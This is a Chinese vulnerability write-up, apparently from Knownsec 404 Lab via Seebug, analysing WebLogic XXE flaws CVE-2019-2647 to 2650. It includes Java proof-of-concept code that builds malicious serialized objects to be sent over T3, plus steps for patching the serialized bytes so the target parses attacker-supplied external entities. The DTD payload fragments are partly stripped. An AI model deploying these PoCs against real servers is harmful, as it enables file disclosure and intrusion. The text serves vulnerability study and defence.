专栏名称: Seebug漏洞平台
Seebug,原 Sebug 漏洞平台,洞悉漏洞,让你掌握第一手漏洞情报!
目录
相关文章推荐
安徽交通广播  ·  “春捂”到底该“捂”哪儿?“捂”好这3处很关键 ·  6 小时前  
荔浦市融媒体中心  ·  每天走多少步不伤膝?“最佳步数”出炉:既得到 ... ·  昨天  
荔浦市融媒体中心  ·  每天走多少步不伤膝?“最佳步数”出炉:既得到 ... ·  昨天  
融媒吴江  ·  正大量上市,两男子吃进急诊! ·  2 天前  
51好读  ›  专栏  ›  Seebug漏洞平台

WebLogic CVE-2019-2647~2650 XXE漏洞分析

Seebug漏洞平台  · 公众号  ·  · 2019-04-29 13:45

正文


作者:Longofo@知道创宇404实验室
时间:2019年4月26日


Oracle发布了4月份的补丁,详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )


@xxlegend在《 weblogic CVE-2019-2647等相关XXE漏洞分析 》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。


补丁分析,找到漏洞点


根据JAVA常见XXE写法与防御方式(参考 https://blog.spoock.com/2018/10/23/java-xxe/ ),通过对比补丁,发现新补丁以下四处进行了 setFeature 操作:



应该就是对应的四个CVE了,其中 ForeignRecoveryContext @xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点


分析环境


  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)



WsrmServerPayloadContext 漏洞点分析


WsrmServerPayloadContext 修复后的代码如下:

package weblogic.wsee.reliability;

import ...


public class WsrmServerPayloadContext extends WsrmPayloadContext {

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

...

}


private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {

...


ByteArrayInputStream var15 = new ByteArrayInputStream(var3);


try {

DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();


try {

String var8 = "http://xml.org/sax/features/external-general-entities";

var7.setFeature(var8, false);

var8 = "http://xml.org/sax/features/external-parameter-entities";

var7.setFeature(var8, false);

var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";

var7.setFeature(var8, false);

var7.setXIncludeAware(false);

var7.setExpandEntityReferences(false);

} catch (Exception var11) {

if (verbose) {

Verbose.log("Failed to set factory:" + var11);

}

}


...

}

}


可以看到进行了 setFeature 操作防止xxe攻击,而未打补丁之前是没有进行 setFeature 操作的


readExternal 在反序列化对象时会被调用,与之对应的 writeExternal 在序列化对象时会被调用,看下 writeExternal 的逻辑:



var1 就是 this.formENdpt ,注意 var5.serialize 可以传入三种类型的对象, var1.getEndptElement() 返回的是 Element 对象,先尝试新建一个项目构造一下 PoC :


结构如下



public class WeblogicXXE1 {

public static void main(String[] args) throws IOException {

Object instance = getXXEObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

out.writeObject(instance);

out.flush();

out.close();

}

public static class MyEndpointReference extends EndpointReference {

@Override

public Element getEndptElement() {

super.getEndptElement();

Document doc = null;

Element element = null;

try {

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

//从DOM工厂中获得DOM解析器

DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();

//创建文档树模型对象

doc = dbBuilder.parse("test.xml");

element = doc.getDocumentElement();

} catch (Exception e) {

e.printStackTrace();

}

return element;

}

}



public static Object getXXEObject() {

EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();


EndpointReference faultToEndpt = null;

WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();

try {


Field f1 = wspc.getClass().getDeclaredField("fromEndpt");

f1.setAccessible(true);

f1.set(wspc, fromEndpt);


Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");

f2.setAccessible(true);

f2.set(wspc, faultToEndpt);

} catch (Exception e) {

e.printStackTrace();

}

return wspc;

}

}


test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:

]>

4


运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:



发现DOCTYPE无法被引入


我尝试了下面几种方法:


  • 在上面说到 var5.serialize 可以传入 Document 对象,测试了下,的确可以,但是如何使 getEndptElement 返回一个 Document 对象呢?

    • 尝试了自己创建一个 EndpointReference 类,修改 getEndptElement 返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类 package 与原来的不同,所以失败了

    • 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...

  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的 modules 文件夹与 wlserver_10.3\server\lib 文件夹到另一个目录,将 wlserver_10.3\server\lib\weblogic.jar 解压,将 WsrmServerPayloadContext.class 类删除,重新压缩为 weblogic.Jar ,然后新建一个项目,引入需要的Jar文件( modules wlserver_10.3\server\lib 中所有的Jar包),然后新建一个与 WsrmServerPayloadContext.class 同样的包名,在其中新建 WsrmServerPayloadContext.class 类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。

    WsrmServerPayloadContext.class 修改的内容如下:


  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始 WsrmServerPayloadContext.class 类同样的包名,然后进行修改,修改内容与第二种方式一样



  • 测试这种方式也是可行的,比第二种方式操作起来方便些


构造新的PoC:

public class WeblogicXXE1 {

public static void main(String[] args) throws IOException {

Object instance = getXXEObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

out.writeObject(instance);

out.flush();

out.close();

}



public static Object getXXEObject() {

EndpointReference fromEndpt = new EndpointReference();


EndpointReference faultToEndpt = null;

WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();

try {


Field f1 = wspc.getClass().getDeclaredField("fromEndpt");

f1.setAccessible(true);

f1.set(wspc, fromEndpt);


Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");

f2.setAccessible(true);

f2.set(wspc, faultToEndpt);

} catch (Exception e) {

e.printStackTrace();

}

return wspc;

}

}


查看下新生成的xxe十六进制:


DOCTYPE被写入了


测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:


漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了


构造的test.xml如下:

%dtd;

%send;

]>

xxe


my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在 dbBuilder.parse 时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

""

>

%all;


运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:



%dtd;%send; 居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。


尝试debug看下:



可以看到 %dtd;%send; 确实是被处理掉了


测试下正常的加载外部数据,my.dtd改为如下:

""

>

%all;


gen.xml为:


debug看下:


可以看到 %dtd;%send; 被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个 EntityScanner ,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。


所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:



运行PoC测试下,


居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了


UnknownMsgHeader 漏洞点分析


WsrmServerPayloadContext 差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造


新建 UnknownMsgHeader 类,修改 writeExternal


PoC如下:

public class WeblogicXXE2 {

public static void main(String[] args) throws IOException {

Object instance = getXXEObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

out.writeObject(instance);

out.flush();

out.close();

}



public static Object getXXEObject() {

QName qname = new QName("a", "b", "c");

Element xmlHeader = null;


UnknownMsgHeader umh = new UnknownMsgHeader();

try {

Field f1 = umh.getClass().getDeclaredField("qname");

f1.setAccessible(true);

f1.set(umh, qname);


Field f2 = umh.getClass().getDeclaredField("xmlHeader");

f2.setAccessible(true);

f2.set(umh, xmlHeader);

} catch (Exception e) {

e.printStackTrace();

}

return umh;

}

}







请到「今天看啥」查看全文